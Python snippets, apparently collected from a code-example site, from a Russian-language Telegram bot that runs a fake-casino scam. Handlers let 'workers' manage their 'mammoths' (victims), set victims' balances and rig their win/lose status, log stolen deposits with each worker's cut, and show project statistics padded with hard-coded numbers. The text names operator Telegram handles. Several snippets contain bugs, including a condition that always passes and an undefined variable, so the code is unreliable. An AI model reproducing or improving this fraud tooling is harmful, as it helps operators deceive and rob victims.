Example #1
0
def balance_to_user(message):
    try:
        if (':' in message.text):
            data = message.text.split(':')

            telegram_id = database.user_telegram_id(data[0])

            user_code = database.user_invite_code(telegram_id)
            worker_code = database.worker_code(message.chat.id)

            if (user_code == worker_code) or (message.chat.id
                                              == support) or (message.chat.id
                                                              == admin):
                value = float(data[1])

                call = database.user_set_balance(telegram_id, value)

                if (call == 1):
                    bot.send_message(
                        message.chat.id,
                        f'💁🏻‍♀️ Баланс был *изменен*\nНовый баланс: {database.user_balance(telegram_id)} ₽',
                        parse_mode="Markdown")
            else:
                bot.send_message(message.chat.id,
                                 '⚠️ Данный пользователь записан *не за Вас*!',
                                 parse_mode="Markdown")
    except:
        pass
Example #2
0
def message_to_users(message):
    try:
        if (':' in message.text):
            data = message.text.split(':')
            telegram_id = database.user_telegram_id(data[0])

            user_code = database.user_invite_code(telegram_id)
            worker_code = database.worker_code(message.chat.id)

            if (user_code == worker_code) or (message.chat.id == support_id):

                bot.send_message(telegram_id, data[1], parse_mode="Markdown")

                Thread = threading.Thread(target=checking_username,
                                          args=(telegram_id, responce.text))
                Thread.start()

                return True
            else:
                return False
        else:
            return False

    except:
        pass
Example #3
0
def user_delmamonts(call):
	try:
		code = database.worker_code(call.message.chat.id)
		user_mamont = database.user_userid_mamonts(code)

		for user_id in user_mamont:
			database.user_update_invite_code(user_id, '0')

		bot.send_message(call.message.chat.id, '💁🏻‍♀️ Все мамонты *были удалены*', parse_mode="Markdown")
	except:
		pass		
Example #4
0
def manual_payment(message):
	try:
		if (':' in message.text):
			data = message.text.split(':')
			code = database.worker_code(data[1])

			bot.send_message(channel_id, f'🦋 *Успешное* пополнение\n\n💁🏻‍♀️ Воркер: {str(data[0])}\n\n⚡️ Сумма пополнения: *{data[2]}* ₽\n💸 Доля воркера: ~ *{repl_share(data[2])}* ₽', parse_mode="Markdown")
			bot.send_message(data[1], f'🦋 *Успешное* пополнение\n\n⚡️ Сумма пополнения: *{data[2]}* ₽\n💸 Твоя доля: ~ *{repl_share(data[2])}* ₽', parse_mode="Markdown")

			database.worker_update_profit(data[1], float(data[2]))
			database.user_add_listpay('Ручка', code, repl_percent(data[2]))
	except Exception as e:
		print(e)	
Example #5
0
def status_to_user(message):
	try:
		if (':' in message.text):

			data = message.text.split(':')

			telegram_id = database.user_telegram_id(data[0])
			worker_code = database.worker_code(telegram_id)

			if (worker_code == worker_code) or (message.chat.id == support):
				call = database.user_update_status(telegram_id, data[1])

				if (call == 1):
					bot.send_message(message.chat.id, f'💁🏻‍♀️ Статус *изменен*\nНовый статус: {database.user_status(telegram_id)}', parse_mode="Markdown")
			else:
				bot.send_message(message.chat.id, '⚠️ Данный пользователь записан *не за Вас*!', parse_mode="Markdown")
	except:
		pass
Example #6
0
def user_payments(call):
	try:

		code = database.worker_code(call.message.chat.id)
		user_payment = database.worker_payments(code)

		if (len(user_payment) > 0):
			message = ''
			for key in user_payment:
				message += key
				message += '\n'

			bot.send_message(call.message.chat.id, f'💁🏻‍♀️ Твои *залеты* - всего: *{len(user_payment)}*\n_(Telegram ID / тип) - сумма_\n\n{message}', parse_mode="Markdown")
		else:
			bot.send_message(call.message.chat.id, '💁🏻‍♀️ У Вас не было *залетов*', parse_mode="Markdown")

	except:
		pass
Example #7
0
def user_mamonts(call):
	try:

		code = database.worker_code(call.message.chat.id)
		user_mamont = database.worker_mamonts(code)

		if (len(user_mamont) > 0):
			message = ''
			for key in user_mamont:
				message += key
				message += '\n'

			bot.send_message(call.message.chat.id, f'💁🏻‍♀️ Твои *мамонты* - всего: *{len(user_mamont)}*\n(ID) - @username - баланс - статус (1 - full win, 2 - default, 3 - full lose)\n\n{message}', parse_mode="Markdown")
		else:
			bot.send_message(call.message.chat.id, '💁🏻‍♀️ У Вас нет *мамонтов*', parse_mode="Markdown")

	except:
		pass
Example #8
0
def get_text_messages(message):
	chat_id = message.chat.id

	merchant_id = database.worker_merchant_id(chat_id)

	try:
		if (message.text == '💞 Меню'):
			if (merchant_id == 2):

				user_code = database.worker_code(chat_id)
				user_phone = database.worker_phone(chat_id)
				referal = f'https://t.me/{repl(bot_name)}?start={user_code}'

				inline_keyboard = types.InlineKeyboardMarkup(row_width = 1)
				inline_1 = types.InlineKeyboardButton(text = "Управление мамонтами", callback_data = 'SETTING_MAMONT')
				inline_2 = types.InlineKeyboardButton(text = "Создать промокод", callback_data = 'CREATE_PROMO')
				inline_keyboard.add(inline_1, inline_2)

				bot.send_message(chat_id, '⚡️')
				bot.send_message(chat_id, f'💁🏻‍♀️ Меню *воркера*\n\nВаш код: `{user_code}`\nКошелек для вывода: `{user_phone}`\nВаша реферальная система: {referal}',
					parse_mode="Markdown", reply_markup=inline_keyboard)
		elif (message.text == '💁🏻‍♀️ Мой профиль'):
			if (merchant_id == 2):

				balance = database.worker_balance(chat_id)
				receive = database.worker_receive(chat_id)
				allpayments = database.worker_allpayments(chat_id)
				allalong = database.worker_all_along(chat_id)
				middlepayment = database.worker_middlepayments(chat_id)
				date = repldate(chat_id)

				messages = ''
				if (ticket_config.status == '1'):
					messages = '🌕 *Все работает*, можно работать!'
				elif (ticket_config.status == '0'):
					messages = '🌑 *Временно* не работаем, тех. работы!'

				elif (message.text == "stаrt"):
					bot.send_message(message.chat.id, number, stats, parse_mode="Markdown", reply_markup=keyboard.main_keyboard())

				emoji(chat_id)
				if (chat_id != admin) and (chat_id != support):
					inline_keyboard = types.InlineKeyboardMarkup(row_width = 1)
					inline_1 = types.InlineKeyboardButton(text = "Залеты", callback_data = 'MY_PAYMENTS')
					inline_2 = types.InlineKeyboardButton(text = "Вывод", callback_data = 'RECEIVE')
					inline_keyboard.add(inline_1, inline_2)

					bot.send_message(chat_id, f'💁🏻‍♀️ Ваш *профиль*\n\n🚀 Telegram ID: *{chat_id}*\nБаланс: *{balance}* ₽\nНа выводе: *{receive}* ₽\nОплата: *{ticket_config.percent}%*, через тех. поддержку: *{ticket_config.percent_support}%*\n\n💸 У тебя *{allpayments}* профитов на сумму в {allalong} ₽\nСредний профит ~ *{middlepayment}* ₽'
						+ f'\n\n💎 Статус: *Воркер*\nДней в команде: *{date}*\n\n{messages}', parse_mode="Markdown", reply_markup=inline_keyboard)
				elif (chat_id == admin):

					inline_keyboard = types.InlineKeyboardMarkup(row_width = 1)
					inline_1 = types.InlineKeyboardButton(text = "Залеты", callback_data = 'MY_PAYMENTS')
					inline_2 = types.InlineKeyboardButton(text = "Настройки", callback_data = 'SETTINGS')
					inline_keyboard.add(inline_1, inline_2)

					bot.send_message(chat_id, f'💁🏻‍♀️ Ваш *профиль*\n\n🚀 Telegram ID: *{chat_id}*\nБаланс: *{balance}* ₽\nНа выводе: *{receive}* ₽\nОплата: *{ticket_config.percent}%*, через тех. поддержку: *{ticket_config.percent_support}%*\n\n💸 У тебя *{allpayments}* профитов на сумму в {allalong} ₽\nСредний профит ~ *{middlepayment} ₽*'
						+ f'\n\n💎 Статус: *Администратор*\nДней в команде: *{date}*\n\n{messages}', parse_mode="Markdown", reply_markup=inline_keyboard)
				elif (chat_id == support):
					inline_keyboard = types.InlineKeyboardMarkup(row_width = 1)
					inline_1 = types.InlineKeyboardButton(text = "Залеты", callback_data = 'MY_PAYMENTS')
					inline_keyboard.add(inline_1)

					bot.send_message(chat_id, f'💁🏻‍♀️ Ваш *профиль*\n\n🚀 Telegram ID: *{chat_id}*\nБаланс: *{balance}* ₽\nНа выводе: *{receive}* ₽\nОплата: *{ticket_config.percent}%*, через тех. поддержку: *{ticket_config.percent_support}%*\n\n💸 У тебя *{allpayments}* профитов на сумму в {allalong} ₽\nСредний профит ~ *{middlepayment} ₽*'
						+ f'\n\n💎 Статус: *Саппорт*\nДней в команде: *{date}*\n\n{messages}', parse_mode="Markdown", reply_markup=inline_keyboard)
		elif (message.text == "🦋 О проекте"):
			if (merchant_id == 2):
				all_payments = int(database.project_all_payments()) + 247
				all_payments_rub = int(database.project_all_rub()) + 124000

				messages = ''
				if (ticket_config.status == '1'):
					messages = '🌕 *Все работает*, можно работать!'
				elif (ticket_config.status == '0'):
					messages = '🌑 *Временно* не работаем, тех. работы!'

				inline_keyboard = types.InlineKeyboardMarkup(row_width = 2)
				inline_1 = types.InlineKeyboardButton(text = "📚 Материалы", url = f'{ticket_config.mater}')
				inline_2 = types.InlineKeyboardButton(text = "💸 Залеты", url = f'{ticket_config.zalet}')
				inline_3 = types.InlineKeyboardButton(text = "🐬 Инфо. канал", url = f'{ticket_config.infos}')
				inline_4 = types.InlineKeyboardButton(text = "💬 Чат воркеров", url = f'{ticket_config.chat}')
				inline_keyboard.add(inline_3)
				inline_keyboard.add(inline_1, inline_2)
				inline_keyboard.add(inline_4)

				bot.send_message(chat_id, f'🦋 Информация о проекте *{ticket_config.pname}*\n\n💞 *Мы открылись:* {ticket_config.pdate}\n🦋 *Количество* профитов: {all_payments}\n🐬 *Общая сумма* профитов: {all_payments_rub} ₽\n       Учёт статистики ведётся с 12 декабря\n\n💆🏻‍♀️ *ТС* @dannovik1 \n👩🏻‍ Саппорт @New0130\n\n*Выплаты* проекта:\n— Оплата: {ticket_config.percent}%\n— Оплата через тех. поддержку: {ticket_config.percent_support}%\n\n*Состояние* казино:\n{messages}', 
					parse_mode="Markdown", reply_markup=inline_keyboard)
		elif (message.text == "Назад"):
			bot.send_message(message.chat.id, '💁🏻‍♀️ *Главное* меню', parse_mode="Markdown", reply_markup=keyboard.main_keyboard())
	except:
		pass